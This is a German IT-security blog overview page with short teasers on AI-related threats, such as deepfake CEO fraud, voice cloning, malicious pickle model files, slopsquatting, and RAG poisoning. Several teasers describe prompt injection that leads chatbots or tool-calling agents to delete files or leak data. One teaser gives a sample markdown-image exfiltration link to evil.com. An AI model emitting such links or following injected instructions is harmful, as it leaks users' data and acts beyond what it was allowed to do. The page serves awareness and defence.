IT-Security & KI

Blog

Validierte Themen aus Forschung, Bedrohungsanalyse, Recht und Rechtsprechung – kompakt erklärt für Praxis und Entscheidungsträger.

KI-Bedrohungen (15)

KI-BedrohungenHochHighlight

Der 25-Millionen-Dollar-Deepfake-Call: Wenn alle Kollegen im Videochat gefälscht sind

Fall Arup in Hongkong (Jan./Feb. 2024). Ein Finanzmitarbeiter überwies 25 Mio. USD nach einer Videokonferenz, bei der der Finanzvorstand und mehrere Kollegen live anwesend…

Weiterlesen →
KI-BedrohungenHochHighlight

KI-Voice-Cloning: 3 Sekunden Sprachnachricht reichen für den perfekten Schockanruf

Betrüger nutzen KI-Tools (ElevenLabs u. a.), um mit wenigen Sekunden Audiomaterial aus Social Media die exakte Stimme von Kindern oder Verwandten zu klonen und Notlagen…

Weiterlesen →
KI-BedrohungenHochHighlight

Hugging Face & GitHub Lücken: Bösartige Pickle-Dateien in KI-Modellen

Sicherheitsanalysen von Protect AI und Wiz deckten hunderte Open-Source-Modelle auf Hugging Face auf, die manipulierte Python-Pickle-Dateien enthielten. Beim Laden des Modells…

Weiterlesen →
KI-Bedrohungen

Shadow AI im Unternehmen: Wenn Mitarbeiter Betriebsgeheimnisse in ChatGPT kippen

Bekannt geworden durch Vorfälle wie bei Samsung 2023, wo Entwickler vertraulichen Quellcode zur Fehleranalyse in öffentliche Chatbots kopierten, der dann in Cloud-Logs und…

Weiterlesen →
KI-BedrohungenHoch

Slopsquatting / Halluzinations-Squatting: Wenn KIs Software-Pakete erfinden

Entwickler nutzen KI-Coding-Assistenten. KIs erfinden manchmal plausible, aber nicht existierende Paketnamen (z. B. auf npm oder PyPI). Kriminelle registrieren genau diese…

Weiterlesen →
KI-BedrohungenHoch

Quishing: KI-Phishing versteckt in QR-Codes trickst Scanner aus

Angreifer kombinieren KI-generierte emotionale Anschreiben mit QR-Codes. Da Mail-Sicherheitsfilter Text scannen, aber keine QR-Codes dekodieren, landen die Mails im Posteingang.

Weiterlesen →
KI-BedrohungenHoch

MCP & Tool-Calling Schwachstellen: Wenn die KI unerlaubt die Festplatte löscht

Mit Protokollen wie MCP (Model Context Protocol) oder OpenAI Function Calling erhalten KIs Zugriff auf Terminal, Datenbanken und Dateien. Durch Prompt Injection kann die KI dazu…

Weiterlesen →
KI-BedrohungenHoch

Deepfake-Identitätsdiebstahl bei Video-Ident-Verfahren

Kriminelle nutzen KI-Gesichtsgeneratoren und virtuelle Webcams, um Online-Kontoeröffnungen bei Neobanken und Krypto-Börsen mit gestohlenen Ausweisdaten erfolgreich abzuschließen.

Weiterlesen →
KI-Bedrohungen

Daten-Exfiltration über Markdown-Bilder in Chatbots

Wird ein Chatbot durch Prompt Injection manipuliert, kann er sensible Daten im Link eines unsichtbaren Bildes kodieren (`![](https://evil.com/leak?data=GEHEIM)`). Beim Rendern der…

Weiterlesen →
KI-Bedrohungen

RAG Poisoning: Manipulierte Dokumente vergiften die Firmen-Wissensdatenbank

Unternehmen nutzen Retrieval Augmented Generation (RAG), um KIs auf interne Handbücher und Intranets zuzugreifen. Angreifer schleusen manipulierte Textbausteine ein, die interne…

Weiterlesen →
KI-Bedrohungen

CAPTCHA-Bruch: Multimodale KIs lösen Schutzrätsel im Handumdrehen

Modelle wie GPT-4 Vision lösen komplexe Bild- und Logik-CAPTCHAs ('Finde alle Ampeln') mit über 90 Prozent Trefferquote und schlagen Menschen in Geschwindigkeit und Genauigkeit.

Weiterlesen →
KI-Bedrohungen

Polymorphe KI-Malware: Viren, die minütlich ihr Aussehen verändern

Konzepte wie BlackMamba demonstrieren, wie Malware via KI-API ihren Code zur Laufzeit ständig umschreibt. Funktion und Payload bleiben gleich, aber der Hash und die Signatur…

Weiterlesen →
KI-BedrohungenHoch

WhatsApp-CEO-Fraud: Geklonte Sprachnachrichten des Chefs fordern Eile

Betrüger senden Mitarbeitern kurze Sprachnachrichten im Messenger: 'Bin gerade im Flugzeug, bitte gib dringend die Rechnung frei!'. Die Stimme stammt aus YouTube-Interviews des…

Weiterlesen →
KI-BedrohungenHoch

Das Vergessens-Dilemma: Warum KIs persönliche Daten kaum löschen können

Machine Unlearning ist mathematisch ungelöst. Ist eine Telefonnummer oder Adresse einmal in den Milliarden Parametern eines Modells eingebrannt, kann man sie nicht wie in einer…

Weiterlesen →
KI-Bedrohungen

Automatisierte Exploit-Generierung: KI-Agenten finden 0-Day-Lücken

Sicherheitsforscher (u. a. DARPA AI Cyber Challenge) zeigen, dass KI-Systeme Software-Repositories automatisiert scannen, Logikfehler finden und funktionierende Exploits in…

Weiterlesen →